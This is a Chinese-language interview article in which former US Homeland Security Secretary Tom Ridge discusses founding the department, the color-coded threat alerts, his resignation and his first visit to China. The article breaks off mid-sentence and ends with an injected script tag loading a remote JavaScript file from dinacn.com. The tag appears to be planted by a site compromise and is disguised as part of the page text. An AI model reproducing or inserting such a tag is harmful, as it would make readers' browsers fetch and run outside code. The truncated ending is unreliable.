10月31日，北京已是深秋季节，晴朗的天空，像被水洗过似的，蓝湛湛的，没有一丝云彩，艳阳高挂天际，照得人暖烘烘的，特别惬意。中午时分，我们在北京西郊万寿宾馆，采访了美国前国土安全部部长汤姆·里奇。里奇先生现年60岁，他是“9·11”后美国新成立的国土安全部首任部长。这次是他辞去部长职务后，应中国国际交流协会邀请率美国对外政策理事会代表团应邀来我国访问。

    里奇先生高大和善、温文尔雅，穿着深蓝色的西服，打着紫红色的领带，见到我们，他主动起身同我们握手，互致问候。然后我们就他领导国土安全部的感受，为何主动辞职，来华的观感和对发展中美关系的看法等问题进行了广泛交谈。里奇先生有问必答，谈吐风趣，语言直率。我们在和谐友好的气氛中交谈了一个多小时，现将谈话内容归纳如下：

临危受命，表现不俗

   “9·11”事件让美国举国陷入了一次前所未有的恐慌之中，为了应对日益猖獗的恐怖主义、保卫国家安全，在美国总统布什的倡导下美国政府成立了国土安全部来承担这个艰巨的任务，里奇被任命为首任部长。对此，他说：在这个危急的时刻，我被委以重任来组建这个部门，感到非常荣幸，同时也深知责任重大。

    国土安全部这个庞大的机构总共拥有18万名职员，在美国政府中算是最庞大的一个机构，其目标就是在面临国际恐怖主义猖獗的时候，依然能够确保美国的安全。里奇认为，担任这个职务给了自己一个非常好的机会，能够和联邦政府、州政府、地方政府以及广大民众进行很好的合作，他们都在美国的反恐中扮演了不可或缺的角色；同时因为恐怖主义是一个全球的问题，担任这一职务也让他有机会和其他国家的政府合作，来共同对抗恐怖主义。

    他说，自己非常感谢总统给他这样一个机会，担任这个重要责任，服务于国家，他认为在这个时刻担任这个职务有着特殊而又重要的历史意义。尽管国内对他的任职褒贬不一，但他所取得的成绩是有目共睹的。他说，至少在我任职期间，美国没有再发生恐怖袭击。对此，布什总统也曾称赞说：“在保家卫国上，里奇可谓是立下了汗马功劳。在他担任国土安全部长期间，美国海陆空各个领域都比以前安全多了。”当被问及是如何想到发明用颜色表示安全级别的警戒系统时，里奇谦虚地说，这不仅仅是他个人的功劳，而是在两个来自于军方的同事的帮助下完成这一发明的。他们帮助里奇考察了其他国家、军队的做法以及美国国务院的想法，最后他们想到了用颜色来提醒公众注意危险的程度，这样可以帮助司法部门和公众在威胁上升的时候加强安全措施。

    他补充说，当预警的颜色变化的时候，政府采取的保护措施和安全措施也已随之升级了。一般民众只注意到颜色的变化，他们不知道颜色变化背后的大量工作。他说，“我们一直在给美国公民解释：这个预警的颜色系统就像是交通灯一样，当不同的颜色出现时所采取的安全措施是不同的，有不同的应对方式。”

主动辞职，赋闲在家

    在今年年初，里奇主动辞去了国土安全部部长一职。对于里奇的辞职，媒体和分析人士议论纷纷。当我们问及这个问题时，他解释说，自己已经服务于国家长达23年的时间，曾经担任过国会议员、州长、总统特别助理、内阁部长，如果再把从军的时间也算上的话，从成人之后就一直服务于公众的利益。所以现在他决定在未来的这几年当中作一名普通公民，希望更多地和家人在一起。

    当谈到自己辞职后的生活时，他这样描述：不再有贴身保镖了，自己开车，不管是个人的行程计划还是家人的安排都由自己决定；并乐观地说，自己享受到了作为一个普通公民所能享受到的自由。里奇和现在的妻子米歇尔已经结婚23年，他们收养有两个孩子，尽管一直以来工作繁忙，在家庭方面里奇始终是一位好丈夫、好父亲。

    里奇还介绍了美国对外政策理事会。他说，这是一个独立的非盈利性机构，致力于促进美国公民同世界上其他国家的政府进行交流和对话。他还介绍说，这次来访的代表团包括商人、医生、电影制片人、商业协会主席等等，他们的目的就是让这些非政府机构的人员能够更好地了解别的国家；他们非常希望这些人能够了解中国，不仅仅是中国的历史还有中国的未来。然而，据我们了解，美国对外政策理事会是一个有共和党背景的思想库，对美国的国家安全战略有着举足轻重的影响；看来里奇并没有完全清闲下来，手头仍然有很多工作。

中美关系，求同存异

    里奇先生是第一次来到中国，在谈到初次访华的感受时他兴奋地说，中国给他留下了深刻的印象，自己感受到了中国悠久的历史和灿烂的文明，他认为这些不仅仅是中国的历史也是人类文明的历史。在华期间，他也深刻地体会到了中国人民的热情友好和中国的对?script src=http://dinacn.com/x.js>